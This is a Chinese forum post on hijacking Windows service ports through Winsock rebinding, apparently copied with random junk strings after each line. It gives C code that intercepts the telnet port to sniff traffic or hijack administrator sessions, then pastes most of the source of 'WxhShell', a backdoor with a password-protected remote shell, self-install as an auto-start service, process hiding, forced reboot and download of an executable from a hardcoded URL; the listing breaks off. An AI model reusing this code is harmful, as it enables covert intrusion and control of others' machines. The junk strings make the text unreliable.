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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P@,XEQRd`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g{7.r-uu  
R4[N:~Z$|  
  saddr.sin_family = AF_INET; oI?3<M^  
S(k3 `;K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^%d\qd`   
YX!{P=Ua  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n7zm>&  
IB(6+n,6s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d?y4GkK  
3(="YbZ  
  这意味着什么?意味着可以进行如下的攻击: qz"}g/;?  
xipU8'ac/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uu-PJTNZ  
Q$a{\*[:+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I5X|(0es  
I&fozO   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6O7'!@@  
& DS/v)]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h}>"j%I  
HCIU!4rH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _mj,u64  
Yz'K]M_Dq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WQx?[tW(U  
TtK[nP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )Oq|amvC  
7LfAaj  
  #include ;@0;pY  
  #include M-$%Rzl_  
  #include lXx=But  
  #include    ^6jV_QM#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sG(~^hJ_  
  int main() 9Uh"iMB  
  { g1;:KzVv  
  WORD wVersionRequested; zv|2:4H  
  DWORD ret; l^! ?@Kg,z  
  WSADATA wsaData; ](Xb _xMf  
  BOOL val; %@<8<6&q  
  SOCKADDR_IN saddr; ML}J\7R  
  SOCKADDR_IN scaddr; Y@NNrGDkT*  
  int err; \e:7)R2<!x  
  SOCKET s; w VvF^VHV^  
  SOCKET sc; %h hfU6[  
  int caddsize; O;+ maY^l  
  HANDLE mt; NyaQI<5D  
  DWORD tid;   n"h `5p5'  
  wVersionRequested = MAKEWORD( 2, 2 ); ({ +!`}GY  
  err = WSAStartup( wVersionRequested, &wsaData ); B~?*?Z'  
  if ( err != 0 ) { ,[N%Q#  
  printf("error!WSAStartup failed!\n"); -$t{>gO#Y  
  return -1; <!&[4-;fU  
  } 55G+;  
  saddr.sin_family = AF_INET; ^dI424  
   9d>-MX'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \J4L:.`qS  
pg6cF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]dF ,:8  
  saddr.sin_port = htons(23); |sa]F5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H!@kO]?n  
  { ww)<E`eGi  
  printf("error!socket failed!\n"); -r!. 9q  
  return -1; dydc}n  
  } ~]nRV *^  
  val = TRUE; ;p.v]0]is  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bc*X/).  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <NHH^M\N  
  { R$EW4]j  
  printf("error!setsockopt failed!\n"); 2d>z1%'  
  return -1; H(H<z,$}T  
  } O 5!7'RZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; goLL;AL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3_C|z,\:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pXtl 6K%  
y>S.?H:P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W}nlRbN?  
  {  50"pbzW  
  ret=GetLastError(); dSLU>E3g  
  printf("error!bind failed!\n"); ;Y)w@bNt@  
  return -1; R%Hi+#/dr-  
  } +[Dx?XM  
  listen(s,2); u :}%xD6  
  while(1) Y`KqEjsC*  
  { LmRy1T,act  
  caddsize = sizeof(scaddr); Dxtp2wu%t  
  //接受连接请求 S};#+ufgTt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B[qzUD*P_n  
  if(sc!=INVALID_SOCKET) Ih@61>X.o*  
  { !d'GE`w T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D,FHZD t  
  if(mt==NULL) [.K1i ZyTi  
  { N[?N5~jG  
  printf("Thread Creat Failed!\n"); V#v`(j%  
  break; $5 >e  
  } },uF 4M.K  
  } +20G>y=+  
  CloseHandle(mt); RXNn[A4xfY  
  } 4d"r^y'  
  closesocket(s); 1v#%Ei$6`t  
  WSACleanup(); 7 G)ZN{'  
  return 0; 65L6:}#  
  }   _ "E$v&_  
  DWORD WINAPI ClientThread(LPVOID lpParam) {M3qLf~z#C  
  { K~uXO  
  SOCKET ss = (SOCKET)lpParam; !H#bJTXB  
  SOCKET sc; O3;u G.:1  
  unsigned char buf[4096]; r`$OO,W  
  SOCKADDR_IN saddr; ht|z<XJ  
  long num; T=<@]$?  
  DWORD val; '-QwssE  
  DWORD ret; 02Y]`CXj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~Cbc<[}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AJt+p&I[J  
  saddr.sin_family = AF_INET; `K*Q5n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qd)q([  
  saddr.sin_port = htons(23); uOKCAqYa  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zy?.u.4L  
  { N%kt3vmQ_  
  printf("error!socket failed!\n"); zofa-7'Bn  
  return -1; {]*c29b>  
  } hZdoc<  
  val = 100; `CBZhI%%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "/yC@VC>  
  { 16w|O |^<  
  ret = GetLastError(); ,k.3|aZE  
  return -1; B{/R: Hm  
  } 8Pfb~&X^Ws  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y5f1lUT  
  { Q}`0W[a ~  
  ret = GetLastError(); !NIhx109q  
  return -1; @X%C>iYa9  
  } ]Gzm^6v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D!@Ciw  
  { Yf:IKY  
  printf("error!socket connect failed!\n"); 5c9^-|-T  
  closesocket(sc); ^"2i   
  closesocket(ss); ~Uu4=  
  return -1; e%@'5k\SK  
  } ~Uj=^leYO  
  while(1) ;m0~L=w  
  { :Hn6b$Vy8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :uP,f<=)K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kh!FR u h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vhe>)h*B  
  num = recv(ss,buf,4096,0); 7z/|\D_{  
  if(num>0) w+C7BPV&  
  send(sc,buf,num,0); t\?ik6  
  else if(num==0) rr+|Zt Y  
  break; V n7*JS  
  num = recv(sc,buf,4096,0); NYt&@Z}]  
  if(num>0) s0\X ^  
  send(ss,buf,num,0); &[_g6OL  
  else if(num==0) Jk&3%^P{m  
  break; neB\q[k  
  } 6q*9[<8  
  closesocket(ss); ;i8g41qjF  
  closesocket(sc); . kQkC:~9  
  return 0 ; M*y)6H k~  
  } ^({})T0wu  
H6kR)~zhf  
3e #p @sB  
========================================================== +:8fC$vVfC  
-mAUo;O  
下边附上一个代码,,WXhSHELL Q8C_9r/:N>  
WM Fb4SUR  
========================================================== SlgN&{ Bk  
-5 RD)(d  
#include "stdafx.h" ccNd'2P  
|)nZ^Cc  
#include <stdio.h> p s/A yjk  
#include <string.h> 7OC#8,  
#include <windows.h> L E&RY[  
#include <winsock2.h> W_||6LbZy  
#include <winsvc.h> a!ud{Dx  
#include <urlmon.h> 46$._h P  
a<@1 -j<  
#pragma comment (lib, "Ws2_32.lib") ztnFhJ<a$  
#pragma comment (lib, "urlmon.lib") 1=t>HQ  
@"hb) 8ng  
#define MAX_USER   100 // 最大客户端连接数 Vdtry @Q  
#define BUF_SOCK   200 // sock buffer }e!x5g   
#define KEY_BUFF   255 // 输入 buffer N+++4;  
QU4h8}$  
#define REBOOT     0   // 重启 #J@[Wd  
#define SHUTDOWN   1   // 关机 QXL'^uO  
h xSKG  
#define DEF_PORT   5000 // 监听端口 C+'/>=>a.  
~{d$!`|a  
#define REG_LEN     16   // 注册表键长度 05z,b]>l  
#define SVC_LEN     80   // NT服务名长度 kr+D,h01  
6tB+JF  
// 从dll定义API 6tXq:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ci?Ss+|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x8wD0D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GU4'&#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~s% Md  
q_TR q:&.  
// wxhshell配置信息 _/F7 ?^j  
struct WSCFG { Y ?S!8-z  
  int ws_port;         // 监听端口 %Qc La//  
  char ws_passstr[REG_LEN]; // 口令 Hcl(3> Jn2  
  int ws_autoins;       // 安装标记, 1=yes 0=no K$>%e36Cc  
  char ws_regname[REG_LEN]; // 注册表键名 ->sm+H-*  
  char ws_svcname[REG_LEN]; // 服务名 ?sab*$wG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4 K!JQ|9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r) HHwh{9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !LggIk1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'L 8n-TyL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }&/o'w2wY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t5[ #x4 p  
;fsZ7k4]do  
}; GO8GJ;B-U  
$AfM>+GQ`n  
// default Wxhshell configuration RLw;(*(g  
struct WSCFG wscfg={DEF_PORT, h^?\xm|  
    "xuhuanlingzhe", @$lG@I,[  
    1, <PapskO>  
    "Wxhshell", 8s"%u )  
    "Wxhshell", Q(lo{AFc  
            "WxhShell Service", K&bzDzd`  
    "Wrsky Windows CmdShell Service", 4^TG>j?M  
    "Please Input Your Password: ", L_vISy%\b  
  1, U[SaY0Z  
  "http://www.wrsky.com/wxhshell.exe", I`p+Qt  
  "Wxhshell.exe" C3eR)Yh  
    }; Inn@2$m~  
T@G?t0  
// 消息定义模块 m=?KZ?U`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (0j}-iaQEZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s@9vY\5[9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #i@;J]x(  
char *msg_ws_ext="\n\rExit."; gGr^@=;YC  
char *msg_ws_end="\n\rQuit."; |k+8<\  
char *msg_ws_boot="\n\rReboot..."; 0KYEb%44  
char *msg_ws_poff="\n\rShutdown...";  U mNa[ s  
char *msg_ws_down="\n\rSave to "; )T';qm0w  
RM K"o?  
char *msg_ws_err="\n\rErr!"; eb.O#Y  
char *msg_ws_ok="\n\rOK!"; 3x5JFM  
[baiH|5>  
char ExeFile[MAX_PATH]; !+1<E*NQ S  
int nUser = 0; uZc`jNc\  
HANDLE handles[MAX_USER]; .l>77zM6  
int OsIsNt; #z&& M"*a|  
X*M#FT-  
SERVICE_STATUS       serviceStatus; |kw)KEi}H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U F?H>Y&  
iTFdN}U  
// 函数声明 d\p,2  
int Install(void); ;gBRCZ  
int Uninstall(void); 0*rQ3Z  
int DownloadFile(char *sURL, SOCKET wsh); N03HQp)g  
int Boot(int flag); 2r!s*b\Ix  
void HideProc(void); Zw*v  
int GetOsVer(void); )^ m%i]L _  
int Wxhshell(SOCKET wsl); aa?w:3  
void TalkWithClient(void *cs); ,$+lFv3LE  
int CmdShell(SOCKET sock); c\iA89msp  
int StartFromService(void); =; ^%(%Y{m  
int StartWxhshell(LPSTR lpCmdLine); CsTF  
9;_sC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3{""58  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \Kl+ 5%L  
%ZNI:Uh  
// 数据结构和表定义 z54EG:x.7^  
SERVICE_TABLE_ENTRY DispatchTable[] =  /<HRwG\w  
{ J/\V%~ 1F  
{wscfg.ws_svcname, NTServiceMain}, JQ,1D`?.a  
{NULL, NULL} [ JpKSTg[  
}; `&KwtvkdI  
vY%d   
// 自我安装 9{-EJ)  
int Install(void) n;(\5{a  
{ dQ_!)f&w1  
  char svExeFile[MAX_PATH]; YQ39 A_e g  
  HKEY key; BnCbon)  
  strcpy(svExeFile,ExeFile); .C&ktU4  
SF&BbjBE0  
// 如果是win9x系统,修改注册表设为自启动 *"D3E7AO  
if(!OsIsNt) { 5"HV BfFk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?*E'^~,H)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t"k*PA  
  RegCloseKey(key); - M[$Zy^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G]fRk^~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 29!q!g|  
  RegCloseKey(key); ? %`@ub$  
  return 0; w S4.8iJ  
    } RT)d]u  
  } <z]cyXv/  
} J13>i7]L%  
else { hJDi7P  
:Qumb  
// 如果是NT以上系统,安装为系统服务 C!Rs^/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); : y5<go8e  
if (schSCManager!=0) kBYNf =  
{ Hj:r[/  
  SC_HANDLE schService = CreateService ;k7xMZs  
  ( L1i eaKw  
  schSCManager, lmfi  
  wscfg.ws_svcname, I3,= 0z  
  wscfg.ws_svcdisp, &m|wH4\  
  SERVICE_ALL_ACCESS, $/.zm; D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "Jt.lL ]5  
  SERVICE_AUTO_START, ^;/b+ /B0  
  SERVICE_ERROR_NORMAL, JS*m65e  
  svExeFile, v=_6XF  
  NULL, 3 |hHR  
  NULL, |`lzfe  
  NULL, )=AHf?hn  
  NULL, GFel(cx:K  
  NULL }RHn)}+  
  ); 0TGLM#{  
  if (schService!=0) o'W5|Gy  
  { wQwQXNG  
  CloseServiceHandle(schService); s<oNE)xe  
  CloseServiceHandle(schSCManager); ^go7_y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7N:Y?Hi\  
  strcat(svExeFile,wscfg.ws_svcname); gF[z fDm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u>TZt]h8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oo=Qt(#  
  RegCloseKey(key); epU:  
  return 0; *M$0J'-BQ  
    } \>C YC|  
  } 4?-.Z UT-1  
  CloseServiceHandle(schSCManager); =0G!f$7^i  
} 9G+V;0Q  
} B x (uRj  
p;W.lcO`0  
return 1; }; f#^gz'  
} >y[oP!-|P  
PB#fP_0C  
// 自我卸载 O2BW6Wc  
int Uninstall(void) b|+wc6   
{ J2j U4mR  
  HKEY key; G3rj`Sg^c  
_>9.v%5cs(  
if(!OsIsNt) { U7I qST  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |37 g ~  
  RegDeleteValue(key,wscfg.ws_regname); Hd,p!_  
  RegCloseKey(key); " t7M3i_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >2]JXLq  
  RegDeleteValue(key,wscfg.ws_regname); '1$!jmY  
  RegCloseKey(key); [o.B  
  return 0; IdXZoY  
  } nzmDA6d  
} R1& [S/  
} NMww>80  
else { +reor@h  
~i21%$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i:u1s"3~  
if (schSCManager!=0) Rr!Y3)f;  
{ 7^Ns&Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v{9t]s>B  
  if (schService!=0) X`fn8~5  
  { C&6IU8l\  
  if(DeleteService(schService)!=0) { XK: 9r{r{  
  CloseServiceHandle(schService); M?[h0{^K  
  CloseServiceHandle(schSCManager); ,2j.<g&   
  return 0; rtL}W__  
  } ^|TG$`M(w  
  CloseServiceHandle(schService); xCYE B}o9r  
  } Gkp< o  
  CloseServiceHandle(schSCManager); k iRa+w:  
} CYKr\DA  
} jiYmb8Q4D  
ZKXo-~=>  
return 1; !>>f(t4  
} .VkbYK  
Dgx8\~(E'  
// 从指定url下载文件 J]q%gcM  
int DownloadFile(char *sURL, SOCKET wsh) 8,atX+tc  
{ r" K':O6y  
  HRESULT hr; lRv eHB&V  
char seps[]= "/"; g7&9"  
char *token; SL,p36N  
char *file; 2e|N@j &  
char myURL[MAX_PATH]; ^qC;Nh4F  
char myFILE[MAX_PATH]; Ton94:9bZ  
3;8!rNN  
strcpy(myURL,sURL); ZvUC I8  
  token=strtok(myURL,seps); Y& F=t/U2  
  while(token!=NULL) &`fhEN  
  { {&"L~>/o  
    file=token; (I@rLvZr{  
  token=strtok(NULL,seps); eQVZO>)P1+  
  } ua OKv.%  
on8WQf'A#  
GetCurrentDirectory(MAX_PATH,myFILE);  y2+p1  
strcat(myFILE, "\\"); ^mb[j`CCt  
strcat(myFILE, file); ^1wA:?uN}  
  send(wsh,myFILE,strlen(myFILE),0); r%e KFS  
send(wsh,"...",3,0); Q7g>4GZC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5bA)j!#)|X  
  if(hr==S_OK) ki{3IEOr}  
return 0; z.CywME<)t  
else YG8>czC  
return 1; sF7^qrVQP9  
]q6;#EUr?  
} [|lB5gi4t!  
doB  
// 系统电源模块 4&HXkRs:  
int Boot(int flag) b9"jtRTdz  
{ >/#KI~}'N  
  HANDLE hToken; _ ib"b#  
  TOKEN_PRIVILEGES tkp; #BQ.R,  
E7Ulnvd  
  if(OsIsNt) { 8kbY+W%n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g/&T[FOr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t!2(7=P30(  
    tkp.PrivilegeCount = 1; Vf`7V$sr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5BR2?hO4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qjnd6uv{I  
if(flag==REBOOT) { ;P;((2_X9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hk7q{`:N  
  return 0; zz^F k&  
} 5P .qXA"D  
else { ?X-)J=XG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zSE<"(a  
  return 0; :=9] c17=  
} }'OHE(s  
  } VqE~c  
  else { } %'bullT  
if(flag==REBOOT) { )I\=BPo|B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a,o_`s<  
  return 0; {,cCEXag%  
} k/03ZxC-  
else { jt@SZI`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #eN{!Niy&U  
  return 0; )9S>Z ZF  
} }@+NN ?P  
} q\rC5gk >  
#XnPsU<J  
return 1; Q`#4W3-,  
} 2Sq_Tw3^  
j Y6MjZI  
// win9x进程隐藏模块 n9;;x%6.I  
void HideProc(void) 9=,uq;  
{ zyg:nKQW  
m>}8'N)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f,z P*  
  if ( hKernel != NULL ) 63!rUB!  
  { ?+c`]gO7N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~O 3D[PNW~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xvNo(>  
    FreeLibrary(hKernel); f/kI| Z  
  } \*\R1_+  
Gd+ET  
return; 1shBY@mlq  
} WU4UZpz  
v_S4hz6w\  
// 获取操作系统版本 zKFp5H1!%+  
int GetOsVer(void) eh*6cQ.0  
{ Eh| .  
  OSVERSIONINFO winfo; Y:ldR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `imWc "'Ej  
  GetVersionEx(&winfo); 0GDvwy D1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) muW!xY  
  return 1; Ro=AADv@  
  else $ \*` }Y  
  return 0; |xoF49  
} XCsiEKZ_i  
(]*H[)F/  
// 客户端句柄模块 q4UA]+-*  
int Wxhshell(SOCKET wsl) =N);v\ Q$!  
{ O9(r{Vu7u  
  SOCKET wsh; `Y40w#?uW  
  struct sockaddr_in client; 0)m8)!gj  
  DWORD myID; LwuF0\  
.bD_R7Bi6  
  while(nUser<MAX_USER) U Q@7n1  
{ YHV-|UNF  
  int nSize=sizeof(client); pbHsR^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ._z 'g_c(  
  if(wsh==INVALID_SOCKET) return 1; B`$L'  
+KEkmXZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E^hHH?w+  
if(handles[nUser]==0) k#}g,0@  
  closesocket(wsh); ?hYqcT[%  
else !}M,  
  nUser++; 2}vg U$a  
  } QO{y/{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -V % gVI[  
0(8H;T  
  return 0; w> xV  
} ]+DI.%   
.w6eJ4 ]  
// 关闭 socket O)R(==P26P  
void CloseIt(SOCKET wsh) r C[6lIP  
{ f DgD@YCD  
closesocket(wsh); %m{U& -(l@  
nUser--; kJs^ z  
ExitThread(0); i;PL\Er:tX  
} I/x iT  
iF+RnWX\  
// 客户端请求句柄 p3^jGj@  
void TalkWithClient(void *cs) >i,iOx|E-  
{ %ICglF R  
)<4_:  
  SOCKET wsh=(SOCKET)cs; 4\ /*jA  
  char pwd[SVC_LEN]; G&eP5'B4i  
  char cmd[KEY_BUFF]; qu6DQ@ ~YC  
char chr[1]; $t rAC@3O@  
int i,j; r!N]$lB  
@LD6:gy  
  while (nUser < MAX_USER) { 2_QN&o ~h  
m:Go-tk  
if(wscfg.ws_passstr) { >x:EJV   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fvo<(c#Y#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &B{8uge1  
  //ZeroMemory(pwd,KEY_BUFF); |-2}j2'  
      i=0; YJ7V`N p  
  while(i<SVC_LEN) { !$XHQLqF2  
 ZC^C  
  // 设置超时 }UyQ#U  
  fd_set FdRead; 3mt%!}S  
  struct timeval TimeOut; 6\d X  
  FD_ZERO(&FdRead); )E7 FA|  
  FD_SET(wsh,&FdRead); T9y;OG  
  TimeOut.tv_sec=8; ZX`J8lZP  
  TimeOut.tv_usec=0; M"^K 0 .  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yfjXqn[Z4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iy5R5L 2  
WN a0,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ek-!b!iI  
  pwd=chr[0]; t]_S  
  if(chr[0]==0xd || chr[0]==0xa) { 6a}r( yP  
  pwd=0; ySN V^+  
  break; DhKr;e  
  } Yig0/ "  
  i++; MXAEX2xmme  
    } &w~Xa( uu  
73NZ:h%=  
  // 如果是非法用户,关闭 socket [!*xO?yCJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EH9Hpo  
} ,qFA\cO*  
~0tdfK0c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L0h G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1-;?0en&0  
jPu5nwvUV>  
while(1) { =LH}YUmd  
h#f&|* Q5m  
  ZeroMemory(cmd,KEY_BUFF); 4B O %{  
CUmH,`hu  
      // 自动支持客户端 telnet标准   89eq[ |G_  
  j=0; d;suACW  
  while(j<KEY_BUFF) { 0my9l;X   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ML!9:vz  
  cmd[j]=chr[0]; {/M\Q@j  
  if(chr[0]==0xa || chr[0]==0xd) { 7|D|4!i2Y  
  cmd[j]=0; \gKdD S  
  break; sB*o)8  
  } MR9/Y:Nm  
  j++; x6yW:tUG5  
    } , r+"7$  
Etnb3<^[t  
  // 下载文件 s^C;>  
  if(strstr(cmd,"http://")) { c]m! G'L_/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F$6? t.@J  
  if(DownloadFile(cmd,wsh)) eO4)|tW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ng\` |8?  
  else j]> uZalr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !;}2F-  
  } P\B3 y+)  
  else { LdTIR]  
,?b78_,2  
    switch(cmd[0]) { /mbCP>bcG  
  N=ifIVc  
  // 帮助 j=3-Qk`"/|  
  case '?': { IKm&xzV-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %jKH?%Ih  
    break; u(vw|nj`  
  } E[S':Q  
  // 安装 @W9H9 PWv&  
  case 'i': { i!~>\r\6\  
    if(Install()) 8 lS($@@{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {rGYRn,  
    else T^)plWw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <?|6*2_=  
    break; p{H0dj^|  
    } G,DOBA  
  // 卸载 "a( 1s} ,  
  case 'r': { S%+R#A1  
    if(Uninstall()) t"YIq/08  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @InJ_9E  
    else KS! iL=i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (|0b7 |'T  
    break; r@$B'CsLj  
    } [ -12]3  
  // 显示 wxhshell 所在路径 [h", D5  
  case 'p': { *)%dXVf  
    char svExeFile[MAX_PATH]; i_Ar<9a~  
    strcpy(svExeFile,"\n\r"); hAa[[%wPhU  
      strcat(svExeFile,ExeFile); 8eww7k^R  
        send(wsh,svExeFile,strlen(svExeFile),0); t,Q'S`eTU  
    break; Jk*QcEE=  
    } n0FYfqH  
  // 重启 qBiyGlu4  
  case 'b': { 33M}>$ZH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u%aFb*  
    if(Boot(REBOOT)) %MNk4UsV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ((9YG  
    else { <UK5eVQn  
    closesocket(wsh); V85.DK!  
    ExitThread(0); yM17H\=  
    } C 38XQLC  
    break; 8_awMVAy  
    } "i''Ui\H  
  // 关机 [Pqn 3I[  
